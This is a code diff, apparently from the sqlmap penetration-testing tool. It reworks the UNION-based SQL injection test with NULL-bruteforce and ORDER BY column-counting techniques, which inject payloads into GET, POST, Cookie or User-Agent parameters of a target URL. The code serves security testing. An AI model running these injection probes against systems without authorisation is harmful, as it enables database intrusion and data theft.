3333from lib .request .connect import Connect as Request
3434
3535
36- def __effectiveUnionTest (query , comment ):
36+ def __forgeUserFriendlyValue (payload ):
37+ value = ""
38+
39+ if kb .injPlace == "GET" :
40+ value = "%s?%s" % (conf .url , payload )
41+ elif kb .injPlace == "POST" :
42+ value = "URL:\t '%s'" % conf .url
43+ value += "\n POST:\t '%s'\n " % payload
44+ elif kb .injPlace == "Cookie" :
45+ value = "URL:\t '%s'" % conf .url
46+ value += "\n Cookie:\t '%s'\n " % payload
47+ elif kb .injPlace == "User-Agent" :
48+ value = "URL:\t \t '%s'" % conf .url
49+ value += "\n User-Agent:\t '%s'\n " % payload
50+
51+ return value
52+
53+
54+ def __unionTestByNULLBruteforce (comment ):
3755 """
3856 This method tests if the target url is affected by an inband
3957 SQL injection vulnerability. The test is done up to 50 columns
4058 on the target database table
4159 """
4260
43- resultDict = {}
61+ columns = None
62+ value = None
63+ query = agent .prefixQuery (" UNION ALL SELECT NULL" )
4464
4565 for count in range (0 , 50 ):
4666 if kb .dbms == "Oracle" and query .endswith (" FROM DUAL" ):
@@ -53,32 +73,38 @@ def __effectiveUnionTest(query, comment):
5373 query += " FROM DUAL"
5474
5575 commentedQuery = agent .postfixQuery (query , comment )
56- payload = agent .payload (newValue = commentedQuery )
57- newResult = Request .queryPage (payload , getSeqMatcher = True )
76+ payload = agent .payload (newValue = commentedQuery )
77+ seqMatcher = Request .queryPage (payload , getSeqMatcher = True )
5878
59- if not newResult in resultDict .keys ():
60- resultDict [newResult ] = (1 , commentedQuery )
61- else :
62- resultDict [newResult ] = (resultDict [newResult ][0 ] + 1 , commentedQuery )
79+ if seqMatcher >= 0.6 :
80+ columns = count + 1
81+ value = __forgeUserFriendlyValue (payload )
82+
83+ break
6384
64- if count > 3 :
65- for ratio , element in resultDict .items ():
66- if element [0 ] == 1 and ratio > 0.5 :
67- if kb .injPlace == "GET" :
68- value = "%s?%s" % (conf .url , element [1 ])
69- elif kb .injPlace == "POST" :
70- value = "URL:\t '%s'" % conf .url
71- value += "\n POST:\t '%s'\n " % element [1 ]
72- elif kb .injPlace == "Cookie" :
73- value = "URL:\t '%s'" % conf .url
74- value += "\n Cookie:\t '%s'\n " % element [1 ]
75- elif kb .injPlace == "User-Agent" :
76- value = "URL:\t \t '%s'" % conf .url
77- value += "\n User-Agent:\t '%s'\n " % element [1 ]
85+ return value , columns
7886
79- return value
8087
81- return None
88+ def __unionTestByOrderBy (comment ):
89+ columns = None
90+ value = None
91+
92+ for count in range (1 , 51 ):
93+ query = agent .prefixQuery (" ORDER BY %d" % count )
94+ orderByQuery = agent .postfixQuery (query , comment )
95+ payload = agent .payload (newValue = orderByQuery )
96+ seqMatcher = Request .queryPage (payload , getSeqMatcher = True )
97+
98+ if seqMatcher >= 0.6 :
99+ columns = count
100+ elif columns :
101+ value = __forgeUserFriendlyValue (prevPayload )
102+
103+ break
104+
105+ prevPayload = payload
106+
107+ return value , columns
82108
83109
84110def unionTest ():
@@ -87,19 +113,29 @@ def unionTest():
87113 SQL injection vulnerability. The test is done up to 3*50 times
88114 """
89115
116+ if conf .uTech == "ob" :
117+ technique = "ORDER BY clause"
118+ else :
119+ technique = "NULL bruteforcing"
120+
90121 logMsg = "testing inband sql injection on parameter "
91- logMsg += "'%s'" % kb .injParameter
122+ logMsg += "'%s' with %s technique " % ( kb .injParameter , technique )
92123 logger .info (logMsg )
93124
94- value = ""
95-
96- query = agent .prefixQuery (" UNION ALL SELECT NULL" )
125+ value = ""
126+ columns = None
97127
98128 for comment in (queries [kb .dbms ].comment , "" ):
99- value = __effectiveUnionTest (query , comment )
129+ if conf .uTech == "ob" :
130+ value , columns = __unionTestByOrderBy (comment )
131+ else :
132+ value , columns = __unionTestByNULLBruteforce (comment )
133+
134+ print value
135+ print columns
100136
101- if value :
102- setUnion (comment , value . count ( "NULL" ) )
137+ if columns :
138+ setUnion (comment , columns )
103139
104140 break
105141
0 commit comments